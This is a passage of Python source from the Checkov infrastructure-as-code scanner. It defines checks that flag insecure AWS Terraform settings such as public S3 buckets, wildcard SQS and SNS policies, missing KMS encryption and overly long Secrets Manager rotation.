checkov.common.models.enums import CheckCategories class S3RestrictPublicBuckets(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 bucket has 'restrict_public_buckets' enabled" id = "CKV_AWS_56" supported_resources = ['aws_s3_bucket_public_access_block'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "restrict_public_buckets" scanner = S3RestrictPublicBuckets() ================================================ FILE: checkov/terraform/checks/resource/aws/S3SecureDataTransport.py ================================================ from __future__ import annotations import json from typing import Any, Dict from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.graph.graph_builder import CustomAttributes class S3SecureDataTransport(BaseResourceCheck): def __init__(self): name = "Ensure AWS S3 bucket is configured with secure data transport policy" id = "CKV_AWS_379" supported_resources = ('aws_s3_bucket_acl',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def _is_policy_secure(self, policy: Dict[str, Any]) -> CheckResult: # Explicitly deny aws:SecureTransport = false or allow aws:SecureTransport = true if policy.get("Statement"): for p in policy.get("Statement"): if p.get("Effect") == "Allow": condition = p.get("Condition") if (condition and condition.get("Bool") and 'aws:SecureTransport' in condition.get("Bool") and condition.get("Bool").get("aws:SecureTransport").lower() == "true"): return CheckResult.PASSED elif p.get("Effect") == "Deny": condition = p.get("Condition") if (condition and condition.get("Bool") and 'aws:SecureTransport' in condition.get("Bool") and (not condition.get("Bool").get("aws:SecureTransport") or condition.get("Bool").get("aws:SecureTransport").lower() == "false")): return CheckResult.PASSED elif policy.get("statement"): policy_statement = policy.get("statement") if isinstance(policy_statement, dict): policy_statement = [policy_statement] for p in policy_statement: # Pass if aws:SecureTransport exists if ((not p.get("effect") or p.get("effect") == "Allow") and p.get("condition") and p.get("condition").get("test") and p.get("condition").get("test") == "Bool" and p.get("condition").get("variable") and p.get("condition").get("variable") == "aws:SecureTransport" and p.get("condition").get("values") and p.get("condition").get("values")[0]): return CheckResult.PASSED elif ((not p.get("effect") or p.get("effect") == "Deny") and p.get("condition") and p.get("condition").get("test") and p.get("condition").get("test") == "Bool" and p.get("condition").get("variable") and p.get("condition").get("variable") == "aws:SecureTransport" and p.get("condition").get("values") and not p.get("condition").get("values")[0]): return CheckResult.PASSED return CheckResult.FAILED def scan_resource_conf(self, conf) -> CheckResult: acl = conf.get('acl') is_public = False connected_public_access_block = [] if acl and acl[0] in ('public-read', 'public-read-write'): # Search for a connected aws_s3_bucket then a connected aws_s3_bucket_public_access_block then check if # restrict_public_buckets is true and pass or else fail bucket_id = conf.get("bucket")[0].rsplit('.', 1)[0] connected_public_access_block = [ g for g in self.graph.nodes() if g[1].get(CustomAttributes.RESOURCE_TYPE) == "aws_s3_bucket_public_access_block" and isinstance(g[1].get("bucket"), str) and g[1].get("bucket").rsplit('.', 1)[0] == bucket_id ] if connected_public_access_block: if (not connected_public_access_block[0][1].get('restrict_public_buckets') and not connected_public_access_block[0][1].get('block_public_acls')): is_public = True else: is_public = True access_control_policy = conf.get('access_control_policy') if not is_public and access_control_policy: grants = access_control_policy[0].get('grant', []) for grant in grants: if isinstance(grant, str): continue grantee = grant.get('grantee', []) if grantee and grantee[0].get('uri', [None])[0] == 'http://acs.amazonaws.com/groups/global/AllUsers': # Search for a connected aws_s3_bucket then a connected aws_s3_bucket_public_access_block then # check if block_public_acls is true and pass or else fail bucket_id = conf.get("bucket")[0].rsplit('.', 1)[0] # Don't look again if already collected if not connected_public_access_block: connected_public_access_block = [ g for g in self.graph.nodes() if g[1].get(CustomAttributes.RESOURCE_TYPE) == "aws_s3_bucket_public_access_block" and isinstance(g[1].get("bucket"), str) and g[1].get("bucket").rsplit('.', 1)[0] == bucket_id ] if connected_public_access_block: if not connected_public_access_block[0][1].get('block_public_acls'): is_public = True else: is_public = True if not is_public: return CheckResult.PASSED # if connected to aws_s3_bucket_website_configuration then pass bucket_id = conf.get("bucket")[0].rsplit('.', 1)[0] connected_website = [ g for g in self.graph.nodes() if g[1].get(CustomAttributes.RESOURCE_TYPE) == "aws_s3_bucket_website_configuration" and isinstance(g[1].get("bucket"), str) and g[1].get("bucket").rsplit('.', 1)[0] == bucket_id ] if connected_website: return CheckResult.PASSED # Ensures the aws:SecureTransport condition does not exist in any policy statement. connected_s3_bucket_policy = [ g for g in self.graph.nodes() if g[1].get(CustomAttributes.RESOURCE_TYPE) == "aws_s3_bucket_policy" and isinstance(g[1].get("bucket"), str) and g[1].get("bucket").rsplit('.', 1)[0] == bucket_id ] if connected_s3_bucket_policy: policy_statement = connected_s3_bucket_policy[0][1].get("policy") if isinstance(policy_statement, dict): return self._is_policy_secure(policy_statement) elif isinstance(policy_statement, str) and policy_statement.strip().startswith('jsonencode'): json_content = policy_statement.replace("jsonencode(", "").replace(")", "") json_content = json_content.replace("'", '"') json_content = json_content.replace('""', '"') try: policy_statement = json.loads(json_content) except json.JSONDecodeError: # Error decoding JSON return CheckResult.UNKNOWN return self._is_policy_secure(policy_statement) elif (isinstance(policy_statement, str) and policy_statement.split('.')[0] == 'data' and policy_statement.split('.')[-1] == 'json'): target_id = '.'.join(policy_statement.split('.')[1:-1]) connected_iam_policy_doc = [ g2 for g2 in self.graph.nodes() if g2[1].get(CustomAttributes.BLOCK_TYPE) == "data" and g2[1].get(CustomAttributes.ID) == target_id ] if connected_iam_policy_doc[0][1].get("statement"): return self._is_policy_secure(connected_iam_policy_doc[0][1]) return CheckResult.UNKNOWN check = S3SecureDataTransport() ================================================ FILE: checkov/terraform/checks/resource/aws/SNSCrossAccountAccess.py ================================================ from __future__ import annotations from typing import Any from cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SNSCrossAccountAccess(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AWS SNS topic policies do not allow cross-account access" id = "CKV_AWS_385" supported_resources = ("aws_sns_topic_policy",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: conf_policy = conf.get("policy") if not conf_policy: return CheckResult.PASSED if conf_policy: if isinstance(conf_policy[0], dict): for policy in conf_policy: try: processed_policy = ResourcePolicyDocument(policy=policy) for statement in processed_policy.statements: if statement.effect != "Allow": continue has_specific_aws_iam_arn_principal = False aws_principal_values = [] if statement.statement and "Principal" in statement.statement and "AWS" in statement.statement["Principal"]: raw_aws_principals = statement.statement["Principal"]["AWS"] if isinstance(raw_aws_principals, str): aws_principal_values.append(raw_aws_principals) elif isinstance(raw_aws_principals, list): aws_principal_values.extend(raw_aws_principals) for principal_str in aws_principal_values: if isinstance(principal_str, str) and \ principal_str.startswith("arn:aws:iam::") and \ principal_str != "*": has_specific_aws_iam_arn_principal = True break if has_specific_aws_iam_arn_principal: if not statement.conditions: return CheckResult.FAILED except (TypeError, AttributeError): return CheckResult.UNKNOWN else: return CheckResult.UNKNOWN return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["policy"] check = SNSCrossAccountAccess() ================================================ FILE: checkov/terraform/checks/resource/aws/SNSTopicEncryption.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SNSTopicEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in the SNS topic is encrypted" id = "CKV_AWS_26" supported_resources = ("aws_sns_topic",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_master_key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = SNSTopicEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/SNSTopicPolicyAnyPrincipal.py ================================================ from __future__ import annotations from typing import Any from cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SNSTopicPolicyAnyPrincipal(BaseResourceCheck): def __init__(self) -> None: name = "Ensure SNS topic policy is not public by only allowing specific services or principals to access it" id = "CKV_AWS_169" supported_resources = ("aws_sns_topic_policy",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: conf_policy = conf.get("policy") if conf_policy: if isinstance(conf_policy[0], dict): try: policy = ResourcePolicyDocument(policy=conf_policy[0]) if policy.internet_accessible_actions: return CheckResult.FAILED except (TypeError, AttributeError): return CheckResult.UNKNOWN else: return CheckResult.UNKNOWN return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["policy"] check = SNSTopicPolicyAnyPrincipal() ================================================ FILE: checkov/terraform/checks/resource/aws/SQSOverlyPermissive.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class SQSOverlyPermissive(BaseResourceCheck): def __init__(self): name = "Ensure SQS policy does not allow public access through wildcards" id = "CKV_AWS_387" supported_resources = ['aws_sqs_queue_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if "policy" in conf.keys(): policy = conf["policy"][0] if isinstance(policy, dict): for statement in policy.get('Statement', []): if isinstance(statement, dict): # Check Effect is Allow if statement.get('Effect') != 'Allow': continue # Check Action starts with sqs: or SQS: action = statement.get('Action', '') if isinstance(action, str): actions = [action] else: actions = action has_sqs_action = any( isinstance(a, str) and (a == '*' or a.startswith('sqs:') or a.startswith('SQS:')) for a in actions) if not has_sqs_action: continue # Check Principal principal = statement.get('Principal', {}) if isinstance(principal, str) and principal == '*': if 'Condition' not in statement: return CheckResult.FAILED elif isinstance(principal, dict) and 'AWS' in principal: aws_principal = principal['AWS'] if isinstance(aws_principal, str) and aws_principal == '*': if 'Condition' not in statement: return CheckResult.FAILED elif isinstance(aws_principal, list) and '*' in aws_principal: if 'Condition' not in statement: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['policy'] check = SQSOverlyPermissive() ================================================ FILE: checkov/terraform/checks/resource/aws/SQSPolicy.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class SQSPolicy(BaseResourceCheck): def __init__(self): name = "Ensure SQS policy does not allow ALL (*) actions." id = "CKV_AWS_72" supported_resources = ['aws_sqs_queue_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for public * policy for SQS repository: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy :param conf: aws_sqs_queue_policy configuration :return: """ if "policy" in conf.keys(): policy = conf["policy"][0] if type(policy) is dict: statement = policy['Statement'][0] if type(statement) is dict: if statement['Action'] == '*': return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['policy'] check = SQSPolicy() ================================================ FILE: checkov/terraform/checks/resource/aws/SQSQueueEncryption.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SQSQueueEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure all data stored in the SQS queue is encrypted" id = "CKV_AWS_27" supported_resources = ('aws_sqs_queue',) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: sqs_managed_sse_enabled = conf.get("sqs_managed_sse_enabled") if sqs_managed_sse_enabled and isinstance(sqs_managed_sse_enabled, list): # when 'kms_master_key_id' is set, then 'sqs_managed_sse_enabled' is internally set to false if sqs_managed_sse_enabled[0]: return CheckResult.PASSED kms_master_key_id = conf.get("kms_master_key_id") if kms_master_key_id and isinstance(kms_master_key_id, list): if kms_master_key_id[0]: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["sqs_managed_sse_enabled", "kms_master_key_id"] check = SQSQueueEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py ================================================ from __future__ import annotations from typing import Any from cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SQSQueuePolicyAnyPrincipal(BaseResourceCheck): def __init__(self) -> None: name = "Ensure SQS queue policy is not public by only allowing specific services or principals to access it" id = "CKV_AWS_168" supported_resources = ("aws_sqs_queue_policy", "aws_sqs_queue") categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: conf_policy = conf.get("policy") if conf_policy: if isinstance(conf_policy[0], dict): try: policy = ResourcePolicyDocument(policy=conf_policy[0]) if policy.internet_accessible_actions: return CheckResult.FAILED except (TypeError, AttributeError): return CheckResult.UNKNOWN else: return CheckResult.UNKNOWN return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["policy"] check = SQSQueuePolicyAnyPrincipal() ================================================ FILE: checkov/terraform/checks/resource/aws/SSMDocumentsArePrivate.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class SSMDocumentsArePrivate(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9) """ name = "Ensure SSM documents are not Public" id = "CKV_AWS_303" supported_resources = ['aws_ssm_document'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "permissions/[0]/account_ids" def get_forbidden_values(self) -> str: return "All" check = SSMDocumentsArePrivate() ================================================ FILE: checkov/terraform/checks/resource/aws/SSMParameterUsesCMK.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SSMParameterUsesCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure SSM parameters are using KMS CMK" id = "CKV_AWS_337" supported_resources = ("aws_ssm_parameter",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("type")[0] != "SecureString": return CheckResult.PASSED return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = SSMParameterUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentEncryption.py ================================================ import json import yaml from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import is_json, is_yaml from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class SSMSessionManagerDocumentEncryption(BaseResourceCheck): def __init__(self): name = "Ensure Session Manager data is encrypted in transit" id = "CKV_AWS_112" supported_resources = ["aws_ssm_document"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("document_type") != ["Session"] or "content" not in conf.keys(): return CheckResult.UNKNOWN doc_format = conf.get("document_format", ["JSON"]) content = conf["content"][0] inputs = None if doc_format == ["JSON"] and is_json(content): inputs = json.loads(content).get("inputs", {}) elif doc_format == ["YAML"] and is_yaml(content): inputs = yaml.safe_load(content).get("inputs", {}) elif isinstance(content, dict): inputs = content.get("inputs", None) if inputs and not inputs.get("kmsKeyId"): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['document_type', 'document_format', 'content'] check = SSMSessionManagerDocumentEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentLogging.py ================================================ import json import yaml from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import is_json, is_yaml from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class SSMSessionManagerDocumentLogging(BaseResourceCheck): def __init__(self): name = "Ensure Session Manager logs are enabled and encrypted" id = "CKV_AWS_113" supported_resources = ["aws_ssm_document"] categories = [CheckCategories.ENCRYPTION, CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("document_type") != ["Session"] or "content" not in conf.keys(): return CheckResult.UNKNOWN doc_format = conf.get("document_format", ["JSON"]) content = conf["content"][0] inputs = None if doc_format == ["JSON"] and is_json(content): inputs = json.loads(content).get("inputs", {}) elif doc_format == ["YAML"] and is_yaml(content): inputs = yaml.safe_load(content).get("inputs", {}) elif isinstance(content, dict): inputs = content.get("inputs", None) if inputs: if inputs.get("s3BucketName") and inputs.get("s3EncryptionEnabled"): return CheckResult.PASSED if inputs.get("cloudWatchLogGroupName") and inputs.get("cloudWatchEncryptionEnabled"): return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ['document_type', 'document_format', 'content'] check = SSMSessionManagerDocumentLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/SageMakerInternetAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SageMakerInternetAccessDisabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that direct internet access is disabled for an Amazon SageMaker Notebook Instance" id = "CKV_AWS_122" supported_resources = ['aws_sagemaker_notebook_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'direct_internet_access' def get_expected_value(self): return 'Disabled' check = SageMakerInternetAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SagemakerDataQualityJobDefinitionEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts" id = "CKV_AWS_367" supported_resources = ['aws_sagemaker_data_quality_job_definition'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "data_quality_job_output_config/[0]/kms_key_id" def get_expected_value(self): return ANY_VALUE check = SagemakerDataQualityJobDefinitionEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SagemakerDataQualityJobDefinitionTrafficEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs" id = "CKV_AWS_369" supported_resources = ['aws_sagemaker_data_quality_job_definition'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "network_config/[0]/enable_inter_container_traffic_encryption" check = SagemakerDataQualityJobDefinitionTrafficEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SagemakerDataQualityJobDefinitionVolumeEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume" id = "CKV_AWS_368" supported_resources = ['aws_sagemaker_data_quality_job_definition'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "job_resources/[0]/cluster_config/[0]/volume_kms_key_id" def get_expected_value(self): return ANY_VALUE check = SagemakerDataQualityJobDefinitionVolumeEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SagemakerDomainEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_187" supported_resources = ['aws_sagemaker_domain', 'aws_sagemaker_notebook_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = SagemakerDomainEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerEndpointConfigurationEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class SagemakerEndpointConfigurationEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the Sagemaker Endpoint is securely encrypted at rest" id = "CKV_AWS_98" supported_resources = ['aws_sagemaker_endpoint_configuration'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'kms_key_arn' def get_expected_value(self) -> Any: return ANY_VALUE check = SagemakerEndpointConfigurationEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerFlowDefinitionUsesKMS.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class SagemakerFlowDefinitionUsesKMS(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon SageMaker Flow Definition uses KMS for output configurations" id = "CKV_AWS_372" supported_resources = ['aws_sagemaker_flow_definition'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "output_config/[0]/kms_key_id" def get_expected_value(self): return ANY_VALUE check = SagemakerFlowDefinitionUsesKMS() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerModelWithNetworkIsolation.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SagemakerModelWithNetworkIsolation(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon SageMaker model uses network isolation" id = "CKV_AWS_370" supported_resources = ['aws_sagemaker_model'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "enable_network_isolation" check = SagemakerModelWithNetworkIsolation() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerNotebookEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SagemakerNotebookEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure SageMaker Notebook is encrypted at rest using KMS CMK" id = "CKV_AWS_22" supported_resources = ['aws_sagemaker_notebook_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = SagemakerNotebookEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerNotebookInCustomVPC.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SagemakerNotebookInCustomVPC(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9) """ name = "Ensure SageMaker notebook instances should be launched into a custom VPC" id = "CKV_AWS_306" supported_resources = ['aws_sagemaker_notebook_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'subnet_id' def get_expected_value(self): return ANY_VALUE check = SagemakerNotebookInCustomVPC() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SagemakerNotebookInstanceAllowsIMDSv2(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2" id = "CKV_AWS_371" supported_resources = ['aws_sagemaker_notebook_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'instance_metadata_service_configuration/[0]/minimum_instance_metadata_service_version' def get_expected_value(self): return "2" check = SagemakerNotebookInstanceAllowsIMDSv2() ================================================ FILE: checkov/terraform/checks/resource/aws/SagemakerNotebookRoot.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SagemakerNotebookRoot(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 AC-2(1), NIST.800-53.r5 AC-3(15), NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-6, NIST.800-53.r5 AC-6(10), NIST.800-53.r5 AC-6(2) """ name = "Ensure SageMaker Users should not have root access to SageMaker notebook instances" id = "CKV_AWS_307" supported_resources = ['aws_sagemaker_notebook_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return 'root_access' def get_expected_value(self): return "Disabled" check = SagemakerNotebookRoot() ================================================ FILE: checkov/terraform/checks/resource/aws/SchedulerScheduleUsesCMK.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SchedulerScheduleUsesCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure EventBridge Scheduler Schedule uses Customer Managed Key (CMK)" id = "CKV_AWS_297" supported_resources = ("aws_scheduler_schedule",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_arn" def get_expected_value(self) -> Any: return ANY_VALUE check = SchedulerScheduleUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/SecretManagerSecret90days.py ================================================ from __future__ import annotations import re from typing import Any from checkov.common.util.type_forcers import force_int from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class SecretManagerSecret90days(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Secrets Manager secrets should be rotated within 90 days" id = "CKV_AWS_304" supported_resources = ("aws_secretsmanager_secret_rotation",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def _check_rate_expression(self, expression: str) -> bool: rate_match = re.match(r'rate\((\d+)\s+(days?|hours?|minutes?)\)', expression) if rate_match: value = int(rate_match.group(1)) unit = rate_match.group(2) if unit.startswith('day'): return value < 90 elif unit.startswith('hour'): return value < 2160 # 90 days * 24 hours elif unit.startswith('minute'): return value < 129600 # 90 days * 24 hours * 60 minutes return False def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["rotation_rules"] rules = conf.get("rotation_rules") if rules and isinstance(rules, list): rotation_rule = rules[0] # Check for automatically_after_days days = rotation_rule.get('automatically_after_days') if days and isinstance(days, list): self.evaluated_keys = ["rotation_rules/[0]/automatically_after_days"] days = force_int(days[0]) if days is not None and days < 90: return CheckResult.PASSED # Check for schedule_expression schedule = rotation_rule.get('schedule_expression') if schedule and isinstance(schedule, list): self.evaluated_keys = ["rotation_rules/[0]/schedule_expression"] expression = schedule[0] if expression.startswith('rate('): return CheckResult.PASSED if self._check_rate_expression(expression) else CheckResult.FAILED elif expression.startswith('cron('): # TODO: Handle failing cron expressions return CheckResult.PASSED return CheckResult.FAILED check = SecretManagerSecret90days() ================================================ FILE: checkov/terraform/checks/resource/aws/SecretManagerSecretEncrypted.py ================================================ from typing import Dict, List, Any from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class 